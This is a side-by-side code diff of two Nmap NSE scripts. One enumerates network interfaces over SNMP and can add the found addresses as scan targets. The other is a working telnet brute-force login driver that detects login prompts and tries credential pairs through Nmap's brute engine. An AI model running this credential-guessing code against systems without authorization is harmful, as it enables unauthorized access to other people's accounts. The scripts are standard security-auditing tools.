if ( v.oid:match("^" .. ip_index) ) then if ( v.oid:match("^" .. ip_index) ) then
index = get_value_from_table( ip_tbl, v.oid ) index = get_value_from_table( ip_tbl, v.oid )
item = if_tbl[index] item = if_tbl[index]
local objid = v.oid:gsub( "^" .. ip_index, ip_addr ) local objid = v.oid:gsub( "^" .. ip_index, ip_addr )
local value = get_value_from_table( ip_tbl, objid ) local value = get_value_from_table( ip_tbl, objid )
if value then if value then
item.ip_addr = value item.ip_addr = value
end end
objid = v.oid:gsub( "^" .. ip_index, ip_netmask ) objid = v.oid:gsub( "^" .. ip_index, ip_netmask )
value = get_value_from_table( ip_tbl, objid ) value = get_value_from_table( ip_tbl, objid )
if value then if value then
item.netmask = value item.netmask = value
end end
end end
end end
return if_tbl return if_tbl
end end
--- Creates a table of IP addresses from the table of network interfaces --- Creates a table of IP addresses from the table of network interfaces
@@ -327,16 +327,16 @@ end
-- @param tbl table containing network interfaces -- @param tbl table containing network interfaces
-- @return table containing only IP addresses -- @return table containing only IP addresses
function list_addrs( tbl ) function list_addrs( tbl )
local new_tbl = {} local new_tbl = {}
for _, index in ipairs( tbl.index_list ) do for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index] local interface = tbl[index]
if interface.ip_addr then if interface.ip_addr then
table.insert( new_tbl, interface.ip_addr ) table.insert( new_tbl, interface.ip_addr )
end end
end end
return new_tbl return new_tbl
end end
--- Process the table of network interfaces for reporting --- Process the table of network interfaces for reporting
@@ -344,132 +344,132 @@ end
-- @param tbl table containing network interfaces -- @param tbl table containing network interfaces
-- @return table suitable for <code>stdnse.format_output</code> -- @return table suitable for <code>stdnse.format_output</code>
function build_results( tbl ) function build_results( tbl )
local new_tbl = {} local new_tbl = {}
local verbose = nmap.verbosity() local verbose = nmap.verbosity()
-- For each interface index previously discovered, format the relevant information for output -- For each interface index previously discovered, format the relevant information for output
for _, index in ipairs( tbl.index_list ) do for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index] local interface = tbl[index]
local item = {} local item = {}
local status = interface.status local status = interface.status
local if_type = interface.type local if_type = interface.type
if interface.descr then if interface.descr then
item.name = interface.descr item.name = interface.descr
else else
item.name = string.format("Interface %d", index) item.name = string.format("Interface %d", index)
end end
if interface.ip_addr and interface.netmask then if interface.ip_addr and interface.netmask then
table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) ) table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) )
end end
if interface.phys_addr then if interface.phys_addr then
table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) ) table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) )
end end
if interface.type and interface.speed then if interface.type and interface.speed then
table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) ) table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) )
end end
if ( verbose > 0 ) and interface.status then if ( verbose > 0 ) and interface.status then
table.insert( item, ("Status: %s"):format( interface.status ) ) table.insert( item, ("Status: %s"):format( interface.status ) )
end end
if interface.sent and interface.received then if interface.sent and interface.received then
table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) ) table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) )
end end
if ( verbose > 0 ) or status == "up" then if ( verbose > 0 ) or status == "up" then
table.insert( new_tbl, item ) table.insert( new_tbl, item )
end end
end end
return new_tbl return new_tbl
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
-- IF-MIB - used to look up network interfaces -- IF-MIB - used to look up network interfaces
local if_oid = "1.3.6.1.2.1.2.2.1" local if_oid = "1.3.6.1.2.1.2.2.1"
-- IP-MIB - used to determine IP address information -- IP-MIB - used to determine IP address information
local ip_oid = "1.3.6.1.2.1.4.20" local ip_oid = "1.3.6.1.2.1.4.20"
local interfaces = {} local interfaces = {}
local ips = {} local ips = {}
local status local status
local srvhost, srvport local srvhost, srvport
if SCRIPT_TYPE == "prerule" then if SCRIPT_TYPE == "prerule" then
srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"}) srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"})
if not srvhost then if not srvhost then
-- Shouldn't happen; checked in prerule. -- Shouldn't happen; checked in prerule.
return return
end end
srvport = stdnse.get_script_args({"snmp-interfaces.port", "port"}) srvport = stdnse.get_script_args({"snmp-interfaces.port", "port"})
if srvport then if srvport then
srvport = tonumber(srvport) srvport = tonumber(srvport)
else else
srvport = 161 srvport = 161
end end
else else
srvhost = host.ip srvhost = host.ip
srvport = port.number srvport = port.number
end end
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(srvhost, srvport, "udp")) try(socket:connect(srvhost, srvport, "udp"))
-- retreive network interface information from IF-MIB -- retreive network interface information from IF-MIB
status, interfaces = snmp.snmpWalk( socket, if_oid ) status, interfaces = snmp.snmpWalk( socket, if_oid )
socket:close() socket:close()
if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then
return return
end end
stdnse.print_debug("SNMP walk of IF-MIB returned %d lines", #interfaces) stdnse.print_debug("SNMP walk of IF-MIB returned %d lines", #interfaces)
-- build a table of network interfaces from the IF-MIB table -- build a table of network interfaces from the IF-MIB table
interfaces = process_interfaces( interfaces ) interfaces = process_interfaces( interfaces )
-- retreive IP address information from IP-MIB -- retreive IP address information from IP-MIB
try(socket:connect(srvhost, srvport, "udp")) try(socket:connect(srvhost, srvport, "udp"))
status, ips = snmp.snmpWalk( socket, ip_oid ) status, ips = snmp.snmpWalk( socket, ip_oid )
-- associate that IP address information with the correct interface -- associate that IP address information with the correct interface
if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then
interfaces = process_ips( interfaces, ips ) interfaces = process_ips( interfaces, ips )
end end
local output = stdnse.format_output( true, build_results(interfaces) ) local output = stdnse.format_output( true, build_results(interfaces) )
if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then
local sum = 0 local sum = 0
ips = list_addrs(interfaces) ips = list_addrs(interfaces)
-- Could add all of the addresses at once, but count -- Could add all of the addresses at once, but count
-- successful additions instead for script output -- successful additions instead for script output
for _, i in ipairs(ips) do for _, i in ipairs(ips) do
local st, err = target.add(i) local st, err = target.add(i)
if st then if st then
sum = sum + 1 sum = sum + 1
else else
stdnse.print_debug("Couldn't add target " .. i .. ": " .. err) stdnse.print_debug("Couldn't add target " .. i .. ": " .. err)
end end
end end
if sum ~= 0 then if sum ~= 0 then
output = output .. "\nSuccessfully added " .. tostring(sum) .. " new targets" output = output .. "\nSuccessfully added " .. tostring(sum) .. " new targets"
end end
elseif SCRIPT_TYPE == "portrule" then elseif SCRIPT_TYPE == "portrule" then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
return output return output
end end

View File

@@ -62,7 +62,7 @@ local pcreptn = {} -- cache of compiled PCRE patterns
-- @param fmt Format string. -- @param fmt Format string.
-- @param ... Arguments to format. -- @param ... Arguments to format.
local print_debug = function (level, fmt, ...) local print_debug = function (level, fmt, ...)
stdnse.print_debug(level, "%s: " .. fmt, SCRIPT_NAME, ...) stdnse.print_debug(level, "%s: " .. fmt, SCRIPT_NAME, ...)
end end
@@ -73,10 +73,10 @@ end
-- @param str The string to analyze -- @param str The string to analyze
-- @return Verdict (true or false) -- @return Verdict (true or false)
local is_username_prompt = function (str) local is_username_prompt = function (str)
pcreptn.username_prompt = pcreptn.username_prompt pcreptn.username_prompt = pcreptn.username_prompt
or pcre.new("\\b(?:username|login)\\s*:\\s*$", or pcre.new("\\b(?:username|login)\\s*:\\s*$",
pcre.flags().CASELESS, "C") pcre.flags().CASELESS, "C")
return pcreptn.username_prompt:match(str) return pcreptn.username_prompt:match(str)
end end
@@ -87,10 +87,10 @@ end
-- @param str The string to analyze -- @param str The string to analyze
-- @return Verdict (true or false) -- @return Verdict (true or false)
local is_password_prompt = function (str) local is_password_prompt = function (str)
pcreptn.password_prompt = pcreptn.password_prompt pcreptn.password_prompt = pcreptn.password_prompt
or pcre.new("\\bpass(?:word|code)\\s*:\\s*$", or pcre.new("\\bpass(?:word|code)\\s*:\\s*$",
pcre.flags().CASELESS, "C") pcre.flags().CASELESS, "C")
return pcreptn.password_prompt:match(str) return pcreptn.password_prompt:match(str)
end end
@@ -101,14 +101,14 @@ end
-- @param str The string to analyze -- @param str The string to analyze
-- @return Verdict (true or false) -- @return Verdict (true or false)
local is_login_success = function (str) local is_login_success = function (str)
pcreptn.login_success = pcreptn.login_success pcreptn.login_success = pcreptn.login_success
or pcre.new("[/>%$#]\\s*$" -- general prompt or pcre.new("[/>%$#]\\s*$" -- general prompt
.. "|^Last login\\s*:" -- linux telnetd .. "|^Last login\\s*:" -- linux telnetd
.. "|^(?-i:[A-Z]):\\\\" -- Windows telnet .. "|^(?-i:[A-Z]):\\\\" -- Windows telnet
.. "|Main(?:\\s|\\x1B\\[\\d+;\\d+H)Menu\\b" -- Netgear RM356 .. "|Main(?:\\s|\\x1B\\[\\d+;\\d+H)Menu\\b" -- Netgear RM356
.. "|^Enter Terminal Emulation:\\s*$", -- Hummingbird telnetd .. "|^Enter Terminal Emulation:\\s*$", -- Hummingbird telnetd
pcre.flags().CASELESS, "C") pcre.flags().CASELESS, "C")
return pcreptn.login_success:match(str) return pcreptn.login_success:match(str)
end end
@@ -119,10 +119,10 @@ end
-- @param str The string to analyze -- @param str The string to analyze
-- @return Verdict (true or false) -- @return Verdict (true or false)
local is_login_failure = function (str) local is_login_failure = function (str)
pcreptn.login_failure = pcreptn.login_failure pcreptn.login_failure = pcreptn.login_failure
or pcre.new("\\b(?:incorrect|failed|denied|invalid|bad)\\b", or pcre.new("\\b(?:incorrect|failed|denied|invalid|bad)\\b",
pcre.flags().CASELESS, "C") pcre.flags().CASELESS, "C")
return pcreptn.login_failure:match(str) return pcreptn.login_failure:match(str)
end end
@@ -138,21 +138,21 @@ local Connection = { methods = {} }
-- @param port Telnet port -- @param port Telnet port
-- @return Connection object or nil (if the operation failed) -- @return Connection object or nil (if the operation failed)
Connection.new = function (host, port, proto) Connection.new = function (host, port, proto)
local soc = nmap.new_socket(proto) local soc = nmap.new_socket(proto)
if not soc then return nil end if not soc then return nil end
return setmetatable( { return setmetatable( {
socket = soc, socket = soc,
isopen = false, isopen = false,
buffer = nil, buffer = nil,
error = nil, error = nil,
host = host, host = host,
port = port, port = port,
proto = proto proto = proto
}, },
{ {
__index = Connection.methods, __index = Connection.methods,
__gc = Connection.methods.close __gc = Connection.methods.close
} ) } )
end end
@@ -163,21 +163,21 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Connection.methods.connect = function (self) Connection.methods.connect = function (self)
local status local status
local wait = 1 local wait = 1
self.buffer = "" self.buffer = ""
for tries = 0, conn_retries do for tries = 0, conn_retries do
self.socket:set_timeout(telnet_timeout) self.socket:set_timeout(telnet_timeout)
status, self.error = self.socket:connect(self.host, self.port, self.proto) status, self.error = self.socket:connect(self.host, self.port, self.proto)
if status then break end if status then break end
stdnse.sleep(wait) stdnse.sleep(wait)
wait = 2 * wait wait = 2 * wait
end end
self.isopen = status self.isopen = status
return status, self.error return status, self.error
end end
@@ -188,12 +188,12 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Connection.methods.close = function (self) Connection.methods.close = function (self)
if not self.isopen then return true, nil end if not self.isopen then return true, nil end
local status local status
self.isopen = false self.isopen = false
self.buffer = nil self.buffer = nil
status, self.error = self.socket:close() status, self.error = self.socket:close()
return status, self.error return status, self.error
end end
@@ -205,9 +205,9 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Connection.methods.send_line = function (self, line) Connection.methods.send_line = function (self, line)
local status local status
status, self.error = self.socket:send(line .. telnet_eol) status, self.error = self.socket:send(line .. telnet_eol)
return status, self.error return status, self.error
end end
@@ -219,40 +219,40 @@ end
-- @param data Data string to add to the buffer -- @param data Data string to add to the buffer
-- @return Number of characters in the connection buffer -- @return Number of characters in the connection buffer
Connection.methods.fill_buffer = function (self, data) Connection.methods.fill_buffer = function (self, data)
local outbuf = strbuf.new(self.buffer) local outbuf = strbuf.new(self.buffer)
local optbuf = strbuf.new() local optbuf = strbuf.new()
local oldpos = 0 local oldpos = 0
while true do while true do
-- look for IAC (Interpret As Command) -- look for IAC (Interpret As Command)
local newpos = data:find('\255', oldpos) local newpos = data:find('\255', oldpos)
if not newpos then break end if not newpos then break end
outbuf = outbuf .. data:sub(oldpos, newpos - 1) outbuf = outbuf .. data:sub(oldpos, newpos - 1)
local opttype = data:byte(newpos + 1) local opttype = data:byte(newpos + 1)
local opt = data:byte(newpos + 2) local opt = data:byte(newpos + 2)
if opttype == 251 or opttype == 252 then if opttype == 251 or opttype == 252 then
-- Telnet Will / Will Not -- Telnet Will / Will Not
-- regarding ECHO or GO-AHEAD, agree with whatever the -- regarding ECHO or GO-AHEAD, agree with whatever the
-- server wants (or not) to do; otherwise respond with -- server wants (or not) to do; otherwise respond with
-- "don't" -- "don't"
opttype = (opt == 1 or opt == 3) and opttype + 2 or 254 opttype = (opt == 1 or opt == 3) and opttype + 2 or 254
elseif opttype == 253 or opttype == 254 then elseif opttype == 253 or opttype == 254 then
-- Telnet Do / Do not -- Telnet Do / Do not
-- I will not do whatever the server wants me to -- I will not do whatever the server wants me to
opttype = 252 opttype = 252
end end
optbuf = optbuf .. string.char(255) optbuf = optbuf .. string.char(255)
.. string.char(opttype) .. string.char(opttype)
.. string.char(opt) .. string.char(opt)
oldpos = newpos + 3 oldpos = newpos + 3
end end
self.buffer = strbuf.dump(outbuf) .. data:sub(oldpos) self.buffer = strbuf.dump(outbuf) .. data:sub(oldpos)
self.socket:send(strbuf.dump(optbuf)) self.socket:send(strbuf.dump(optbuf))
return self.buffer:len() return self.buffer:len()
end end
@@ -264,18 +264,18 @@ end
-- @param normalize whether the returned line is normalized (default: false) -- @param normalize whether the returned line is normalized (default: false)
-- @return String representing the first line in the buffer -- @return String representing the first line in the buffer
Connection.methods.get_line = function (self) Connection.methods.get_line = function (self)
if self.buffer:len() == 0 then if self.buffer:len() == 0 then
-- refill the buffer -- refill the buffer
local status, data = self.socket:receive_buf("[\r\n:>%%%$#\255].*", true) local status, data = self.socket:receive_buf("[\r\n:>%%%$#\255].*", true)
if not status then if not status then
-- connection error -- connection error
self.error = data self.error = data
return nil return nil
end end
self:fill_buffer(data) self:fill_buffer(data)
end end
return self.buffer:match('^[^\r\n]*') return self.buffer:match('^[^\r\n]*')
end end
@@ -286,8 +286,8 @@ end
-- @param self Connection object -- @param self Connection object
-- @return Number of characters remaining in the connection buffer -- @return Number of characters remaining in the connection buffer
Connection.methods.discard_line = function (self) Connection.methods.discard_line = function (self)
self.buffer = self.buffer:gsub('^[^\r\n]*[\r\n]*', '', 1) self.buffer = self.buffer:gsub('^[^\r\n]*[\r\n]*', '', 1)
return self.buffer:len() return self.buffer:len()
end end
@@ -309,16 +309,16 @@ local Target = { methods = {} }
-- @param port Telnet port -- @param port Telnet port
-- @return Target object or nil (if the operation failed) -- @return Target object or nil (if the operation failed)
Target.new = function (host, port) Target.new = function (host, port)
local soc, _, proto = comm.tryssl(host, port, "\n", {timeout=telnet_timeout}) local soc, _, proto = comm.tryssl(host, port, "\n", {timeout=telnet_timeout})
if not soc then return nil end if not soc then return nil end
soc:close() soc:close()
return setmetatable({ return setmetatable({
host = host, host = host,
port = port, port = port,
proto = proto, proto = proto,
workers = setmetatable({}, { __mode = "k" }) workers = setmetatable({}, { __mode = "k" })
}, },
{ __index = Target.methods } ) { __index = Target.methods } )
end end
@@ -327,8 +327,8 @@ end
-- --
-- @param self Target object -- @param self Target object
Target.methods.worker = function (self) Target.methods.worker = function (self)
local thread = coroutine.running() local thread = coroutine.running()
self.workers[thread] = self.workers[thread] or {} self.workers[thread] = self.workers[thread] or {}
end end
@@ -340,19 +340,19 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return Connection if the operation was successful; error code otherwise -- @return Connection if the operation was successful; error code otherwise
Target.methods.attach = function (self) Target.methods.attach = function (self)
local worker = self.workers[coroutine.running()] local worker = self.workers[coroutine.running()]
local conn = worker.conn local conn = worker.conn
or Connection.new(self.host, self.port, self.proto) or Connection.new(self.host, self.port, self.proto)
if not conn then return false, "Unable to allocate connection" end if not conn then return false, "Unable to allocate connection" end
worker.conn = conn worker.conn = conn
if conn.error then conn:close() end if conn.error then conn:close() end
if not conn.isopen then if not conn.isopen then
local status, err = conn:connect() local status, err = conn:connect()
if not status then return false, err end if not status then return false, err end
end end
return true, conn return true, conn
end end
@@ -363,10 +363,10 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Target.methods.detach = function (self) Target.methods.detach = function (self)
local conn = self.workers[coroutine.running()].conn local conn = self.workers[coroutine.running()].conn
local status, response = true, nil local status, response = true, nil
if conn and conn.error then status, response = conn:close() end if conn and conn.error then status, response = conn:close() end
return status, response return status, response
end end
@@ -377,8 +377,8 @@ end
-- @param inuse Whether the worker is in use (true or false) -- @param inuse Whether the worker is in use (true or false)
-- @return inuse -- @return inuse
Target.methods.inuse = function (self, inuse) Target.methods.inuse = function (self, inuse)
self.workers[coroutine.running()].inuse = inuse self.workers[coroutine.running()].inuse = inuse
return inuse return inuse
end end
@@ -388,11 +388,11 @@ end
-- @param self Target object -- @param self Target object
-- @return Verdict (true or false) -- @return Verdict (true or false)
Target.methods.idle = function (self) Target.methods.idle = function (self)
local idle = true local idle = true
for t, w in pairs(self.workers) do for t, w in pairs(self.workers) do
idle = idle and (not w.inuse or coroutine.status(t) == "dead") idle = idle and (not w.inuse or coroutine.status(t) == "dead")
end end
return idle return idle
end end
@@ -409,16 +409,16 @@ local Driver = { methods = {} }
-- @param target instance of a Target class -- @param target instance of a Target class
-- @return Driver object or nil (if the operation failed) -- @return Driver object or nil (if the operation failed)
Driver.new = function (self, host, port, target) Driver.new = function (self, host, port, target)
assert(host == target.host and port == target.port, "Target mismatch") assert(host == target.host and port == target.port, "Target mismatch")
target:worker() target:worker()
return setmetatable({ return setmetatable({
target = target, target = target,
connect = telnet_autosize connect = telnet_autosize
and Driver.methods.connect_autosize and Driver.methods.connect_autosize
or Driver.methods.connect_simple, or Driver.methods.connect_simple,
thread_exit = nmap.condvar(target) thread_exit = nmap.condvar(target)
}, },
{ __index = Driver.methods } ) { __index = Driver.methods } )
end end
@@ -429,13 +429,13 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Driver.methods.connect_simple = function (self) Driver.methods.connect_simple = function (self)
assert(not self.conn, "Multiple connections attempted") assert(not self.conn, "Multiple connections attempted")
local status, response = self.target:attach() local status, response = self.target:attach()
if status then if status then
self.conn = response self.conn = response
response = nil response = nil
end end
return status, response return status, response
end end
@@ -446,26 +446,26 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Driver.methods.connect_autosize = function (self) Driver.methods.connect_autosize = function (self)
assert(not self.conn, "Multiple connections attempted") assert(not self.conn, "Multiple connections attempted")
self.target:inuse(true) self.target:inuse(true)
local status, response = self.target:attach() local status, response = self.target:attach()
if status then if status then
-- connected to the target -- connected to the target
self.conn = response self.conn = response
if self:prompt() then if self:prompt() then
-- successfully reached login prompt -- successfully reached login prompt
return true, nil return true, nil
end end
-- connected but turned away -- connected but turned away
self.target:detach() self.target:detach()
end end
-- let's park the thread here till all the functioning threads finish -- let's park the thread here till all the functioning threads finish
self.target:inuse(false) self.target:inuse(false)
print_debug(detail_debug, "Retiring %s", tostring(coroutine.running())) print_debug(detail_debug, "Retiring %s", tostring(coroutine.running()))
while not self.target:idle() do self.thread_exit("wait") end while not self.target:idle() do self.thread_exit("wait") end
-- pretend that it connected -- pretend that it connected
self.conn = Connection.GHOST self.conn = Connection.GHOST
return true, nil return true, nil
end end
@@ -476,13 +476,13 @@ end
-- @return Status (true or false) -- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise -- @return nil if the operation was successful; error code otherwise
Driver.methods.disconnect = function (self) Driver.methods.disconnect = function (self)
assert(self.conn, "Attempt to disconnect non-existing connection") assert(self.conn, "Attempt to disconnect non-existing connection")
if self.conn.isopen and not self.conn.error then if self.conn.isopen and not self.conn.error then
-- try to reach new login prompt -- try to reach new login prompt
self:prompt() self:prompt()
end end
self.conn = nil self.conn = nil
return self.target:detach() return self.target:detach()
end end
@@ -492,16 +492,16 @@ end
-- @param self Driver object -- @param self Driver object
-- @return line Reached prompt or nil -- @return line Reached prompt or nil
Driver.methods.prompt = function (self) Driver.methods.prompt = function (self)
assert(self.conn, "Attempt to use disconnected driver") assert(self.conn, "Attempt to use disconnected driver")
local conn = self.conn local conn = self.conn
local line local line
repeat repeat
line = conn:get_line() line = conn:get_line()
until not line until not line
or is_username_prompt(line) or is_username_prompt(line)
or is_password_prompt(line) or is_password_prompt(line)
or not conn:discard_line() or not conn:discard_line()
return line return line
end end
@@ -513,181 +513,181 @@ end
-- @return instance of brute.Account if the operation was successful; -- @return instance of brute.Account if the operation was successful;
-- instance of brute.Error otherwise -- instance of brute.Error otherwise
Driver.methods.login = function (self, username, password) Driver.methods.login = function (self, username, password)
assert(self.conn, "Attempt to use disconnected driver") assert(self.conn, "Attempt to use disconnected driver")
local sent_username = self.target.passonly local sent_username = self.target.passonly
local sent_password = false local sent_password = false
local conn = self.conn local conn = self.conn
local loc = " in " .. tostring(coroutine.running()) local loc = " in " .. tostring(coroutine.running())
local connection_error = function (msg) local connection_error = function (msg)
print_debug(detail_debug, msg .. loc) print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg) local err = brute.Error:new(msg)
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end end
local passonly_error = function () local passonly_error = function ()
local msg = "Password prompt encountered" local msg = "Password prompt encountered"
print_debug(critical_debug, msg .. loc) print_debug(critical_debug, msg .. loc)
local err = brute.Error:new(msg) local err = brute.Error:new(msg)
err:setAbort(true) err:setAbort(true)
return false, err return false, err
end end
local username_error = function () local username_error = function ()
local msg = "Invalid username encountered" local msg = "Invalid username encountered"
print_debug(detail_debug, msg .. loc) print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg) local err = brute.Error:new(msg)
err:setInvalidAccount(username) err:setInvalidAccount(username)
return false, err return false, err
end end
local login_error = function () local login_error = function ()
local msg = "Login failed" local msg = "Login failed"
print_debug(detail_debug, msg .. loc) print_debug(detail_debug, msg .. loc)
return false, brute.Error:new(msg) return false, brute.Error:new(msg)
end end
local login_success = function () local login_success = function ()
local msg = "Login succeeded" local msg = "Login succeeded"
print_debug(detail_debug, msg .. loc) print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, password, "OPEN") return true, brute.Account:new(username, password, "OPEN")
end end
local login_no_password = function () local login_no_password = function ()
local msg = "Login succeeded without password" local msg = "Login succeeded without password"
print_debug(detail_debug, msg .. loc) print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, "<none>", "OPEN") return true, brute.Account:new(username, "<none>", "OPEN")
end end
print_debug(detail_debug, "Login attempt %s:%s%s", username, password, loc) print_debug(detail_debug, "Login attempt %s:%s%s", username, password, loc)
if conn == Connection.GHOST then if conn == Connection.GHOST then
-- reached when auto-sizing is enabled and all worker threads -- reached when auto-sizing is enabled and all worker threads
-- failed -- failed
return connection_error("Service unreachable") return connection_error("Service unreachable")
end end
-- username has not yet been sent -- username has not yet been sent
while not sent_username do while not sent_username do
local line = conn:get_line() local line = conn:get_line()
if not line then if not line then
-- stopped receiving data -- stopped receiving data
return connection_error("Login prompt not reached") return connection_error("Login prompt not reached")
end end
if is_username_prompt(line) then if is_username_prompt(line) then
-- being prompted for a username -- being prompted for a username
conn:discard_line() conn:discard_line()
print_debug(detail_debug, "Sending username" .. loc) print_debug(detail_debug, "Sending username" .. loc)
if not conn:send_line(username) then if not conn:send_line(username) then
return connection_error(conn.error) return connection_error(conn.error)
end end
sent_username = true sent_username = true
if conn:get_line() == username then if conn:get_line() == username then
-- ignore; remote echo of the username in effect -- ignore; remote echo of the username in effect
conn:discard_line() conn:discard_line()
end end
elseif is_password_prompt(line) then elseif is_password_prompt(line) then
-- looks like 'password only' support -- looks like 'password only' support
return passonly_error() return passonly_error()
else else
-- ignore; insignificant response line -- ignore; insignificant response line
conn:discard_line() conn:discard_line()
end end
end end
-- username has been already sent -- username has been already sent
while not sent_password do while not sent_password do
local line = conn:get_line() local line = conn:get_line()
if not line then if not line then
-- remote host disconnected -- remote host disconnected
return connection_error("Password prompt not reached") return connection_error("Password prompt not reached")
end end
if is_login_success(line) then if is_login_success(line) then
-- successful login without a password -- successful login without a password
conn:close() conn:close()
return login_no_password() return login_no_password()
elseif is_password_prompt(line) then elseif is_password_prompt(line) then
-- being prompted for a password -- being prompted for a password
conn:discard_line() conn:discard_line()
print_debug(detail_debug, "Sending password" .. loc) print_debug(detail_debug, "Sending password" .. loc)
if not conn:send_line(password) then if not conn:send_line(password) then
return connection_error(conn.error) return connection_error(conn.error)
end end
sent_password = true sent_password = true
elseif is_login_failure(line) then elseif is_login_failure(line) then
-- failed login without a password; explicitly told so -- failed login without a password; explicitly told so
conn:discard_line() conn:discard_line()
return username_error() return username_error()
elseif is_username_prompt(line) then elseif is_username_prompt(line) then
-- failed login without a password; prompted again for a username -- failed login without a password; prompted again for a username
return username_error() return username_error()
else else
-- ignore; insignificant response line -- ignore; insignificant response line
conn:discard_line() conn:discard_line()
end end
end end
-- password has been already sent -- password has been already sent
while true do while true do
local line = conn:get_line() local line = conn:get_line()
if not line then if not line then
-- remote host disconnected -- remote host disconnected
return connection_error("Login not completed") return connection_error("Login not completed")
end end
if is_login_success(line) then if is_login_success(line) then
-- successful login -- successful login
conn:close() conn:close()
return login_success() return login_success()
elseif is_login_failure(line) then elseif is_login_failure(line) then
-- failed login; explicitly told so -- failed login; explicitly told so
conn:discard_line() conn:discard_line()
return login_error() return login_error()
elseif is_password_prompt(line) or is_username_prompt(line) then elseif is_password_prompt(line) or is_username_prompt(line) then
-- failed login; prompted again for credentials -- failed login; prompted again for credentials
return login_error() return login_error()
else else
-- ignore; insignificant response line -- ignore; insignificant response line
conn:discard_line() conn:discard_line()
end end
end end
-- unreachable code -- unreachable code
assert(false, "Reached unreachable code") assert(false, "Reached unreachable code")
end end
action = function (host, port) action = function (host, port)
local ts, tserror = stdnse.parse_timespec(arg_timeout) local ts, tserror = stdnse.parse_timespec(arg_timeout)
if not ts then if not ts then
return stdnse.format_output(false, "Invalid timeout value: " .. tserror) return stdnse.format_output(false, "Invalid timeout value: " .. tserror)
end end
telnet_timeout = 1000 * ts telnet_timeout = 1000 * ts
telnet_autosize = arg_autosize:lower() == "true" telnet_autosize = arg_autosize:lower() == "true"
local target = Target.new(host, port) local target = Target.new(host, port)
if not target then if not target then
return stdnse.format_output(false, "Unable to connect to the target") return stdnse.format_output(false, "Unable to connect to the target")
end end
local engine = brute.Engine:new(Driver, host, port, target) local engine = brute.Engine:new(Driver, host, port, target)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
target.passonly = engine.options.passonly target.passonly = engine.options.passonly
local _, result = engine:start() local _, result = engine:start()
return result return result
end end